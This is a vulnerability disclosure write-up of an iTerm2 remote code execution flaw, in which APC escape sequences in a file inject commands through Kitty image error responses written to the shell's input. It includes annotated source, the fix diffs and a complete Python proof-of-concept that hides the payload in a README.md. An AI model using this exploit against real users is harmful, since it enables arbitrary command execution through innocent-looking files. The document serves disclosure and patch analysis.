ii4gsp

iTerm2 RCE via Kitty Image Protocol APC Response Injection


Introduction

iTerm2’s Kitty image protocol implementation has a remote code execution vulnerability in the file transmit error response path. An APC escape sequence embedded in any file is consumed by the VT100 parser and does not appear in the cat output itself, but the Kitty file transmit error response preserves literal newlines from a crafted file path and writes them to PTY stdin — the shell interprets these newlines as command separators, resulting in arbitrary command execution.
This is a logic bug — no memory corruption or race condition required — and is 100% reproducible. It works on a default iTerm2 installation with no configuration changes, and triggers on all shells including bash, zsh, and fish.


Affected Versions

Affected Fixed Prerequisite
All versions with Kitty Image Protocol support 3.7.9 iTerm2 installed (default settings)


Vulnerability

Three independent issues combine into a single exploit chain: (1) the APC handler lacks the trust check present in OSC handlers, (2) the Kitty file transmit error path preserves literal newlines from NSError.localizedDescription, and (3) the response is unconditionally written to PTY stdin.


APC Processing — No Trust Check

When the VT100 parser receives an APC sequence, it calls executeAPC:. At [A], it checks for tmux mode — if active, it returns early. At [B], it checks only whether the string starts with “G”, and at [C] creates a Kitty image command and passes it to the delegate. Compared to OSC sequence handling, the terminalIsTrusted check is completely absent. Any APC that reaches the VT100 parser is unconditionally executed regardless of source.

// sources/VT100/VT100Terminal.m — executeAPC:

- (void)executeAPC:(VT100Token *)token {
    if (_tmuxMode) {                                                // [A]
        [_delegate terminalSetWindowTitle:...];
        return;
    }
    if ([token.string hasPrefix:@"G"]) {                            // [B]
        iTermKittyImageCommand *command =
            [[iTermKittyImageCommand alloc]
                initWithAPCString:[token.string substringFromIndex:1]];
        if (!command) {
            return;
        }
        [_delegate terminalDidReceiveKittyImageCommand:command];    // [C]
    }
}


No trust check exists in the delegate chain either. At [A], the command is passed directly to kittyImageController.

// sources/VT100Screen/VT100ScreenMutableState+TerminalDelegate.m

- (void)terminalDidReceiveKittyImageCommand:(iTermKittyImageCommand *)command {
    [_kittyImageController execute:command];                        // [A]
}


Kitty File Transmit — Error Newline Preservation

When the Kitty image controller receives a t=f (file transmit) command, it decodes the base64 payload and uses it as a file path. At [A], URL.resourceValues() checks whether the file exists — if it doesn’t, an exception is thrown. At [B], the filenameIsSafe() blocklist check exists, but this code is only reachable after resourceValues() succeeds, so it never executes for non-existent files. At [C], the catch block embeds error.localizedDescription directly into the error message. macOS’s NSError.localizedDescription preserves literal newlines (0x0A) in filenames without escaping them.

// sources/InlineImages/KittyImageController.swift — handle(command:fileURL:query:)

private func handle(command: KittyImageCommand.ImageTransmission,
                    fileURL: URL,
                    query: Bool) -> String? {
    do {
        let values = try fileURL.resourceValues(forKeys: [.isRegularFileKey])  // [A]
        guard values.isRegularFile == true else {
            return "EBADF:Not a file"
        }
        guard filenameIsSafe(fileURL: fileURL) else {                           // [B]
            return "EBADF:Invalid path"
        }
        let content = try Data(contentsOf: fileURL)
        return handle(command: command, data: content, query: query)
    } catch {
        return "EBADF:\(error.localizedDescription)"                            // [C]
    }
}


Response Written to PTY Stdin

The response containing the error message is written to PTY stdin. At [A], the default verbosity .normal always sends the response — it is sent regardless of whether it is an error. At [B], the response is wrapped in APC format (ESC_G...ESC\) and passed to the delegate.

// sources/InlineImages/KittyImageController.swift — respondToTransmit()

func respondToTransmit(_ imageTransmission: KittyImageCommand.ImageTransmission,
                        display: KittyImageCommand.ImageDisplay?,
                        error: String?) {
    if imageTransmission.more == .expectMore {
        return
    }
    var args = [String]()
    args.append("i=\(imageTransmission.identifier)")
    // ...
    let payload = args.joined(separator: ",") + semi + (error ?? "OK")
    let message = "\u{1B}_G\(payload)\u{1B}\\"

    switch imageTransmission.verbosity {
    case .normal:                                                               // [A]
        delegate?.kittyImageControllerReport(message: message)                  // [B]
    case .query:
        if error != nil {
            delegate?.kittyImageControllerReport(message: message)
        }
        return
    case .quiet:
        return
    }
}


At the end of the delegate chain, [A] the response data is written to the PTY via screenSendReportData:. This function sends data through the same path as keyboard input, so the shell interprets this data as if the user typed it.

// sources/VT100Screen/VT100ScreenMutableState.m — kittyImageControllerReportWithMessage:

- (void)kittyImageControllerReportWithMessage:(NSString *)string {
    [self willSendReport];
    __weak __typeof(self) weakSelf = self;
    const NSStringEncoding encoding = self.terminal.encoding;
    [self addSideEffect:^(id<VT100ScreenDelegate> delegate) {
        [delegate screenSendReportData:                                         // [A]
            [string dataUsingEncoding:encoding]];
        [weakSelf didSendReport:delegate];
    } name:@"kitty image report"];
}


Bypassed Security Controls

Security control Status Reason
filenameIsSafe() Bypassed Located after resourceValues() throw — unreachable for non-existent files
terminalIsTrusted Absent No trust check in executeAPC: (unlike OSC)
disablePotentiallyInsecureEscapeSequences Not applicable Does not cover APC sequences
Default verbosity Favors attacker .normal is the default — error response is always sent


Patch

The developer confirmed and fixed the vulnerability across two commits. Adding a terminalIsTrusted check to the APC handler would not have protected default installations — terminalIsTrusted is simply the inverse of the advanced setting “Disable potentially insecure escape sequences,” which is off by default (the terminal is trusted by default). The response sanitization is what closes the hole for everyone.


The first fix adds sanitizedResponseMessage(_:) to KittyImageController.swift. It replaces every C0 control character (0x00–0x1F, including ESC, CR, LF) and DEL (0x7F) with a space before the response is framed and sent. The error payload in respondToTransmit() and respondToDisplay() is passed through this sanitizer. a53b1bc

diff --git a/sources/InlineImages/KittyImageController.swift b/sources/InlineImages/KittyImageController.swift
--- a/sources/InlineImages/KittyImageController.swift
+++ b/sources/InlineImages/KittyImageController.swift
@@ -987,6 +987,28 @@ class KittyImageController: NSObject {
 
         return data
     }
+    private static func sanitizedResponseMessage(_ string: String) -> String {
+        var result = ""
+        result.unicodeScalars.reserveCapacity(string.unicodeScalars.count)
+        for scalar in string.unicodeScalars {
+            if scalar.value < 0x20 || scalar.value == 0x7f {
+                result.unicodeScalars.append(" ")
+            } else {
+                result.unicodeScalars.append(scalar)
+            }
+        }
+        return result
+    }
+
     func respondToTransmit(_ imageTransmission: KittyImageCommand.ImageTransmission,
                             display: KittyImageCommand.ImageDisplay?,
                             error: String?) {
@@ -1005,7 +1027,7 @@ class KittyImageController: NSObject {
             args.append("p=\(p)")
         }
         let semi = args.isEmpty ? "" : ";"
-        let payload = args.joined(separator: ",") + semi + (error ?? "OK")
+        let payload = args.joined(separator: ",") + semi + (error.map { Self.sanitizedResponseMessage($0) } ?? "OK")
         let message = "\u{1B}_G\(payload)\u{1B}\\"
 
         switch imageTransmission.verbosity {
@@ -1241,7 +1263,7 @@ class KittyImageController: NSObject {
         }()
         let pre = "\u{1B}_G"
         let post = "\u{1B}\\"
-        let errorOrOK = error ?? "OK"
+        let errorOrOK = error.map { Self.sanitizedResponseMessage($0) } ?? "OK"
         let message =
             if parameters.isEmpty {
                 errorOrOK


The follow-up commit extracts a shared sanitizer stringByReplacingControlCharactersWithSpace on NSString, extending coverage to C1 characters (0x80–0x9F) while preserving Unicode format characters (Cf) such as ZWJ and bidi marks. It replaces the per-file sanitizer and is applied to three report paths: Kitty image, Kitty drag-and-drop (OSC 72), and title reporting. 2a63835

diff --git a/sources/Categories/NSStringITerm.m b/sources/Categories/NSStringITerm.m
--- a/sources/Categories/NSStringITerm.m
+++ b/sources/Categories/NSStringITerm.m
@@ -1757,6 +1757,42 @@
     }];
 }
 
++ (NSCharacterSet *)it_reportUnsafeControlCharacterSet {
+    static NSCharacterSet *set;
+    static dispatch_once_t onceToken;
+    dispatch_once(&onceToken, ^{
+        NSMutableCharacterSet *mutableSet = [NSMutableCharacterSet characterSetWithRange:NSMakeRange(0, 0x20)];
+        [mutableSet addCharactersInRange:NSMakeRange(0x7F, 0x21)];
+        set = [mutableSet copy];
+    });
+    return set;
+}
+
+- (NSString *)stringByReplacingControlCharactersWithSpace {
+    const NSUInteger length = self.length;
+    if ([self rangeOfCharacterFromSet:[NSString it_reportUnsafeControlCharacterSet]].location == NSNotFound) {
+        return self;
+    }
+    unichar *buffer = malloc(sizeof(unichar) * length);
+    [self getCharacters:buffer range:NSMakeRange(0, length)];
+    for (NSUInteger i = 0; i < length; i++) {
+        if (iTermIsReportUnsafeControlCharacter(buffer[i])) {
+            buffer[i] = ' ';
+        }
+    }
+    return [[NSString alloc] initWithCharactersNoCopy:buffer length:length freeWhenDone:YES];
+}


The Kitty drag-and-drop sanitizer was changed from stripping only CR/LF to stripping all control characters, and the title report sanitizer was hardened the same way.

diff --git a/sources/DragAndDrop/KittyDnDMessage.swift b/sources/DragAndDrop/KittyDnDMessage.swift
--- a/sources/DragAndDrop/KittyDnDMessage.swift
+++ b/sources/DragAndDrop/KittyDnDMessage.swift
@@ -62,13 +66,12 @@
         return parts.joined(separator: ":")
     }
 
     static func sanitize(_ value: String) -> String {
-        guard value.utf8.contains(where: { $0 == 0x0a || $0 == 0x0d }) else {
-            return value
-        }
-        return String(value.unicodeScalars.filter { $0 != "\n" && $0 != "\r" })
+        return (value as NSString).replacingControlCharactersWithSpace()
     }

diff --git a/sources/PTYSession/PTYSession.m b/sources/PTYSession/PTYSession.m
--- a/sources/PTYSession/PTYSession.m
+++ b/sources/PTYSession/PTYSession.m
@@ -19925,7 +19925,13 @@
 - (NSString *)reportSafeTitle:(NSString *)unsafeTitle {
-    NSCharacterSet *unsafeSet = [NSCharacterSet characterSetWithCharactersInString:@"|;\r\n\e"];
+    NSMutableCharacterSet *unsafeSet = [[NSString it_reportUnsafeControlCharacterSet] mutableCopy];
+    [unsafeSet addCharactersInString:@"|;"];
     NSString *result = unsafeTitle;
     NSRange range;
     range = [result rangeOfCharacterFromSet:unsafeSet];


Exploitation

The attack vector is embedding APC escape sequence bytes into a malicious file. When the entire file content is output to the terminal (e.g., via cat), the raw bytes are delivered to the terminal and processed by the VT100 parser. This works on all shells — bash, zsh, fish, etc. — the shell type is irrelevant.

The APC sequence (starting with ESC _, ending with ESC \) is consumed by iTerm2’s VT100 parser and is invisible in the cat output — the file appears to be a normal document. However, when the exploit triggers, the error response injected into PTY stdin produces visible garbled shell errors on the terminal. The injected command executes between these garbled lines, so the command execution itself is visible to the user. Concealment of this output was not explored in this research.


Injection Detail

The core of the attack relies on two facts: macOS NSError.localizedDescription preserves literal newlines in filenames, and the error message uses curly quotes instead of ASCII double-quotes.


Why ASCII double-quotes are not used: If ASCII " is included in the file path, it appears as-is in the error message. When delivered to the shell via PTY, bash enters double-quote mode upon encountering ", and newlines no longer act as command separators. macOS’s NSError.localizedDescription uses Unicode curly quotes (“, ”), which are not special characters in bash and do not trigger quote mode.

The file path set by the attacker (before base64 encoding):

/tmp/x\nopen -a Calculator\nz
       ^^^^^^^^^^^^^^^^^^^^
       injected command (between newlines)


Exploit Flow

1. Attacker: Build exploit file
   └── Any file (README.md, .txt, .log, etc.) with hidden APC bytes

2. Delivery: Git repository, shared folder, archive, email attachment

3. Victim: cat <file>

4. iTerm2 processing:
   ├── Normal text output (visible)
   ├── APC bytes → VT100 Parser (invisible, consumed)
   │   └── executeAPC:                              ← NO trust check
   │       └── KittyImageController.execute()
   │           └── executeTransmitFile()
   │               └── base64 decode → file path with \n
   │
   ├── handle(command:fileURL:query:)
   │   └── resourceValues() throws                   ← file not found
   │       └── catch: "EBADF:\(error.localizedDescription)"
   │           └── localizedDescription preserves \n ← NEWLINES PRESERVED
   │
   ├── respondToTransmit()
   │   └── verbosity .normal → ALWAYS sends          ← no suppression
   │       └── kittyImageControllerReport()
   │           └── screenSendReportData()             ← WRITES TO PTY STDIN
   │
   └── Shell reads PTY stdin
       └── Line discipline splits on \n:
           Line 1: \x1b_Gi=1;EBADF:The file “/tmp/x  ← garbled (shell error)
           Line 2: open -a Calculator               ← EXECUTED
           Line 3: z” couldn’t be opened...         ← shell error (ignored)

5. Result: Calculator.app launches


Exploit File Structure

APC bytes can be embedded in any file type — .md, .txt, .log, .csv, configuration files, source code, etc. The only requirement is that the file content is output to the terminal via cat. The following example uses a README.md, but any file that a user might cat is a valid vector. The APC itself is invisible in cat output (consumed by the VT100 parser), but the error response injected into PTY stdin appears as garbled shell errors alongside the executed command.

README.md (243 bytes)
├── # Project Setup Guide
├── ## Prerequisites
│     └── normal markdown text
├── [APC bytes]                    ← invisible in cat output
│     └── \x1b_Ga=T,f=100,t=f,i=1;<payload_base64>\x1b\
├── ## Installation
│     └── normal markdown text
└── ## License


PoC

Full Exploit

#!/usr/bin/env python3
"""
iTerm2 Kitty RCE — cat trigger PoC
====================================
Creates a README.md with an embedded APC escape sequence.
When displayed with cat in iTerm2, the Kitty image
protocol error response injects a command into PTY stdin.

CRITICAL: Command must NOT contain '/' characters.
  '/' is a path separator in URL(fileURLWithPath:), which
  splits the path and changes the error message format,
  breaking the newline injection.
"""

import base64
import os
import shutil

EXPLOIT_BASE = "./iterm2_cat_rce"
COMMAND = "open -a Calculator"

def create_exploit():
    if os.path.exists(EXPLOIT_BASE):
        shutil.rmtree(EXPLOIT_BASE)
    os.makedirs(EXPLOIT_BASE, exist_ok=True)

    # IMPORTANT: command must NOT contain '/' (splits URL path)
    file_path = f'/tmp/x\n{COMMAND}\nz'
    b64_payload = base64.b64encode(file_path.encode()).decode()

    # APC: invisible in iTerm2 — parser consumes it
    apc = f'\x1b_Ga=T,f=100,t=f,i=1;{b64_payload}\x1b\\'

    readme = f"""# Project Setup Guide

Welcome to the project repository.

## Prerequisites

- Python 3.8+
- Node.js 16+
{apc}
## Installation

    pip install -r requirements.txt

## License

MIT License
"""

    with open(os.path.join(EXPLOIT_BASE, "README.md"), 'w') as f:
        f.write(readme)

if __name__ == "__main__":
    create_exploit()


Demo


References